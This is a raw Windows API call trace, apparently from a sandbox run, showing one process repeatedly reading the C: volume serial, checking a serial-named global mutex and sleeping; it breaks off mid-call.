[0054.704] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0054.704] GetProcessHeap () returned 0x6c0000 [0054.704] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0054.704] GetProcessHeap () returned 0x6c0000 [0054.704] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0054.704] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0054.704] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0054.704] CloseHandle (hObject=0x170) returned 1 [0054.704] GetProcessHeap () returned 0x6c0000 [0054.704] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0054.704] GetProcessHeap () returned 0x6c0000 [0054.704] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0054.704] Sleep (dwMilliseconds=0x3e8) [0056.347] GetProcessHeap () returned 0x6c0000 [0056.347] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0056.347] GetProcessHeap () returned 0x6c0000 [0056.347] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f8920 [0056.347] GetProcessHeap () returned 0x6c0000 [0056.347] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0056.347] GetProcessHeap () returned 0x6c0000 [0056.347] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0056.347] GetProcessHeap () returned 0x6c0000 [0056.347] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0056.347] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8920, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.348] GetProcessHeap () returned 0x6c0000 [0056.348] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0056.348] GetProcessHeap () returned 0x6c0000 [0056.348] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0056.348] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.348] GetProcessHeap () returned 0x6c0000 [0056.348] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0056.348] GetProcessHeap () returned 0x6c0000 [0056.348] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0056.348] GetProcessHeap () returned 0x6c0000 [0056.348] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0056.348] GetProcessHeap () returned 0x6c0000 [0056.348] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0056.348] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0056.349] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0056.349] CloseHandle (hObject=0x170) returned 1 [0056.349] GetProcessHeap () returned 0x6c0000 [0056.349] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0056.349] GetProcessHeap () returned 0x6c0000 [0056.349] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0056.349] Sleep (dwMilliseconds=0x3e8) [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f8920 [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0059.421] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0059.421] GetProcessHeap () returned 0x6c0000 [0059.421] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0059.421] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.422] GetProcessHeap () returned 0x6c0000 [0059.422] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0059.422] GetProcessHeap () returned 0x6c0000 [0059.422] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0059.422] GetProcessHeap () returned 0x6c0000 [0059.422] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0059.422] GetProcessHeap () returned 0x6c0000 [0059.422] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0059.422] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0059.422] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0059.422] CloseHandle (hObject=0x170) returned 1 [0059.422] GetProcessHeap () returned 0x6c0000 [0059.422] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0059.422] GetProcessHeap () returned 0x6c0000 [0059.422] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0059.422] Sleep (dwMilliseconds=0x3e8) [0061.861] GetProcessHeap () returned 0x6c0000 [0061.861] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0061.861] GetProcessHeap () returned 0x6c0000 [0061.861] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f8920 [0061.861] GetProcessHeap () returned 0x6c0000 [0061.861] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0061.861] GetProcessHeap () returned 0x6c0000 [0061.861] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0061.862] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8920, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0061.862] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0061.862] GetProcessHeap () returned 0x6c0000 [0061.862] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0061.862] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0061.862] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0061.862] CloseHandle (hObject=0x170) returned 1 [0061.863] GetProcessHeap () returned 0x6c0000 [0061.863] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0061.863] GetProcessHeap () returned 0x6c0000 [0061.863] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0061.863] Sleep (dwMilliseconds=0x3e8) [0063.936] GetProcessHeap () returned 0x6c0000 [0063.936] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f8920 [0063.936] GetProcessHeap () returned 0x6c0000 [0063.936] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0063.936] GetProcessHeap () returned 0x6c0000 [0063.936] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0063.937] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0063.937] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0063.937] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0063.937] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0063.937] CloseHandle (hObject=0x170) returned 1 [0063.937] GetProcessHeap () returned 0x6c0000 [0063.937] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0063.938] GetProcessHeap () returned 0x6c0000 [0063.938] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0063.938] Sleep (dwMilliseconds=0x3e8) [0065.381] GetProcessHeap () returned 0x6c0000 [0065.381] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0065.381] GetProcessHeap () returned 0x6c0000 [0065.381] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f8920 [0065.381] GetProcessHeap () returned 0x6c0000 [0065.381] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0065.381] GetProcessHeap () returned 0x6c0000 [0065.382] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0065.382] GetProcessHeap () returned 0x6c0000 [0065.382] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0065.382] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8920, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0065.382] GetProcessHeap () returned 0x6c0000 [0065.382] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0065.382] GetProcessHeap () returned 0x6c0000 [0065.382] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0065.382] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0065.383] GetProcessHeap () returned 0x6c0000 [0065.383] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0065.383] GetProcessHeap () returned 0x6c0000 [0065.383] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0065.383] GetProcessHeap () returned 0x6c0000 [0065.383] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0065.383] GetProcessHeap () returned 0x6c0000 [0065.383] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0065.383] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0065.383] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0065.383] CloseHandle (hObject=0x170) returned 1 [0065.383] GetProcessHeap () returned 0x6c0000 [0065.384] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0065.384] GetProcessHeap () returned 0x6c0000 [0065.384] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0065.384] Sleep (dwMilliseconds=0x3e8) [0068.937] GetProcessHeap () returned 0x6c0000 [0068.938] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f8920 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0068.938] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0068.938] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.938] GetProcessHeap () returned 0x6c0000 [0068.938] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0068.939] GetProcessHeap () returned 0x6c0000 [0068.939] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0068.939] GetProcessHeap () returned 0x6c0000 [0068.939] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0068.939] GetProcessHeap () returned 0x6c0000 [0068.939] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0068.939] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0068.939] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0068.939] CloseHandle (hObject=0x170) returned 1 [0068.939] GetProcessHeap () returned 0x6c0000 [0068.939] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0068.939] GetProcessHeap () returned 0x6c0000 [0068.939] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0068.939] Sleep (dwMilliseconds=0x3e8) [0070.093] GetProcessHeap () returned 0x6c0000 [0070.093] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0070.093] GetProcessHeap () returned 0x6c0000 [0070.093] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f8920 [0070.093] GetProcessHeap () returned 0x6c0000 [0070.093] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0070.093] GetProcessHeap () returned 0x6c0000 [0070.093] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0070.093] GetProcessHeap () returned 0x6c0000 [0070.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0070.094] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f8920, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0070.094] GetProcessHeap () returned 0x6c0000 [0070.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0070.094] GetProcessHeap () returned 0x6c0000 [0070.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0070.094] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0070.094] GetProcessHeap () returned 0x6c0000 [0070.094] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0070.094] GetProcessHeap () returned 0x6c0000 [0070.094] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0070.094] GetProcessHeap () returned 0x6c0000 [0070.094] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0070.094] GetProcessHeap () returned 0x6c0000 [0070.094] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0070.095] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0070.095] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0070.095] CloseHandle (hObject=0x170) returned 1 [0070.095] GetProcessHeap () returned 0x6c0000 [0070.095] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0070.095] GetProcessHeap () returned 0x6c0000 [0070.095] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0070.095] Sleep (dwMilliseconds=0x3e8) [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f8920 [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f88a8 [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f87b8 [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc270 [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc270 | out: hHeap=0x6c0000) returned 1 [0071.263] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f88a8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0071.263] GetProcessHeap () returned 0x6c0000 [0071.263] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f8920 | out: hHeap=0x6c0000) returned 1 [0071.263] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0071.264] GetProcessHeap () returned 0x6c0000 [0071.264] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0071.264] GetProcessHeap () returned 0x6c0000 [0071.264] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0071.264] GetProcessHeap () returned 0x6c0000 [0071.264] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0071.264] GetProcessHeap () returned 0x6c0000 [0071.264] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0071.264] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x170 [0071.264] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x0) returned 0x102 [0071.264] CloseHandle (hObject=0x170) returned 1 [0071.264] GetProcessHeap () returned 0x6c0000 [0071.264] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6d4430 | out: hHeap=0x6c0000) returned 1 [0071.264] GetProcessHeap () returned 0x6c0000 [0071.264] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6cfea0 | out: hHeap=0x6c0000) returned 1 [0071.264] Sleep (dwMilliseconds=0x3e8) [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x20) returned 0x6f88a8 [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x1e) returned 0x6f87b8 [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x1e) returned 0x6f88f8 [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x90) returned 0x6fc360 [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6fc360 | out: hHeap=0x6c0000) returned 1 [0073.151] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x6f87b8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88f8 | out: hHeap=0x6c0000) returned 1 [0073.151] GetProcessHeap () returned 0x6c0000 [0073.151] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f88a8 | out: hHeap=0x6c0000) returned 1 [0073.151] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xc4f9e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xc4f9e4*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.152] GetProcessHeap () returned 0x6c0000 [0073.152] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x6f87b8 | out: hHeap=0x6c0000) returned 1 [0073.152] GetProcessHeap () returned 0x6c0000 [0073.152] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x40) returned 0x6d4430 [0073.152] GetProcessHeap () returned 0x6c0000 [0073.152] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x8, Size=0x3a) returned 0x6d4478 [0073.152] GetProcessHeap () returned 0x6c0000 [0073.152] RtlReAllocateHeap (Heap=0x6c0000, Flags=0x0, Ptr=0x6d4478, Size=0x72) returned 0x6cfea0 [0073.152] OpenMutexW 